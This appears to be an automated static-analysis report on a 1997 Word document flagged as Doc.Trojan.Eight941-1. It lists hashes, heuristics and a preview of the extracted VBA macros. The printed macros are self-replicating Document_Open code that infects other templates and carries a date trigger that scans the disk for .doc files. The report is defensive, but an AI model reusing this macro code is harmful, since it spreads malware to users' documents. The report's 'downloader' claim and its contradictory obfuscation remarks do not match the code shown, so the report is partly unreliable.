Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7de072e4a0e37890…

MALICIOUS

Office (OLE)

40.5 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ec4692f5775defdd2280e785ff7e230d SHA-1: a960561c42d93c72e65ba00e722a810da2aaf531 SHA-256: 7de072e4a0e378903f7aae34b9cc3f866b31c89412ae248e9b8d9f1613a47643
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Trojan.Eight941-1. It contains VBA macros, including a Document_Open macro, which is a common technique for executing malicious code upon opening the document. The macro code appears to be obfuscated and truncated, but its presence strongly suggests an attempt to download and execute a second-stage payload, characteristic of a macro-based downloader.

Heuristics 3

  • ClamAV: Doc.Trojan.Eight941-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Eight941-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14187 bytes
SHA-256: 862a0a8dc07e0d972fc2add53428732049562db3a22bbb35f50a9d02045b426c
Detection
ClamAV: Doc.Trojan.Eight941-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Close()
On Error Resume Next
    If Left(Me.BuiltInDocumentProperties("Title"), 1) = "?" Then
        Me.BuiltInDocumentProperties("Title") = Mid(Me.BuiltInDocumentProperties("Title"), 2)
        Exit Sub
    End If
    Me.BuiltInDocumentProperties("Title") = "?" & Me.BuiltInDocumentProperties("Title")
    Dim currdoc As Document
    Dim thecode As Object
On Error Resume Next
    If Left(Me.BuiltInDocumentProperties("Title"), 1) = "?" Then
        Me.BuiltInDocumentProperties("Title") = Mid(Me.BuiltInDocumentProperties("Title"), 2)
        Exit Sub
    End If
    Me.BuiltInDocumentProperties("Title") = "?" & Me.BuiltInDocumentProperties("Title")
    Dim
    Dim thecode As Object
On Error Resume Next
    If Left(Me.BuiltInDocumentProperties("Title"), 1) = "?" Then
        Me.BuiltInDocumentProperties("Title") = Mid(Me.BuiltInDocumentProperties("Title"), 2)
        Exit Sub
    End If
    Me.BuiltInDocumentProperties("Title") = "?" & Me.BuiltInDocumentProperties("Title")
    Dim currdoc As Document
    Dim thecode As Object
On Error Resume Next
    If Left(Me.BuiltInDocumentProperties("Title"), 1) = "?" Then
        Me.BuiltInDocumentProperties("Title") = Mid(Me.BuiltInDocumentProperties("Title"), 2)
        Exit Sub
    End If
    Me.BuiltInDocumentProperties("Title") = "?" & Me.BuiltInDocumentProperties("Title")
    Dim currdoc As Document
    Dim thecode As Object
On Error Resume Next
    If Left(Me.BuiltInDocumentProperties("Title"), 1) = "?" Then
        Me.BuiltInDocumentProperties("Title") = Mid(Me.BuiltInDocumentProperties("Title"), 2)
        Exit Sub
    End If
    Me.BuiltInDocumentProperties("Title") = "?" & Me.BuiltInDocumentProperties("Title")
    Dim currdoc As Document
    Dim thecode As Object
    Dim currcomp As Object


Private Sub Document_Open()
On Error Resume Next
Dim i, j As Integer
j = -1
For i = 1 To Application.VBE.VBProjects.Count
    If Application.VBE.VBProjects(i).Name = "Normal" Then
        j = i
    End If
    If Application.VBE.VBProjects(i).VBComponents(1).CodeModule.Find("Document_Open", 1, 1, 1000, 100) = False Then
        Dim B, l As Integer
            If j > 0 Then
                If Application.VBE.VBProjects(j).VBComponents(1).CodeModule.Find("Document_Open", 1, 1, 1000, 100) = True Then
                    B = Application.VBE.VBProjects(j).VBComponents(1).CodeModule.ProcStartLine("Document_Open", vbext_pk_Proc)
                    l = Application.VBE.VBProjects(j).VBComponents(1).CodeModule.ProcCountLines("Document_Open", vbext_pk_Proc)
                    Application.VBE.VBProjects(i).VBComponents(1).CodeModule.AddFromString Application.VBE.VBProjects(j).VBComponents(1).CodeModule.Lines(B, B + l)
                Else
                    B = Me.VBProject.VBComponents(1).CodeModule.ProcStartLine("Document_Open", vbext_pk_Proc)
                    l = Me.VBProject.VBComponents(1).CodeModule.ProcCountLines("Document_Open", vbext_pk_Proc)
                    Application.VBE.VBProjects(i).VBComponents(1).CodeModule.AddFromString Me.VBProject.VBComponents(1).CodeModule.Lines(B, B + l)
            End If
        End If
    End If
Next i
If (Month(Date) = 11 And Day(Date) = 10) Or (Month(Date) = 7 And Day(Date) = 1) Then
Set fs = Application.FileSearch
    fs.LookIn = "c:\"
    fs.FileName = "*.doc"
    fs.SearchSubFolders = True
    If fs.Execute() > 0 Then
        For i = 1 To fs.FoundFiles.Count
            
            
            Options.AllowFastSave = True
            Options.BackgroundSave = True
            Options.CreateBackup = False
            Options.SavePropertiesPrompt = False
            Options.SaveNormalPrompt = False
Exitub:
               Next i
    End If
End If
End Sub























... (truncated)

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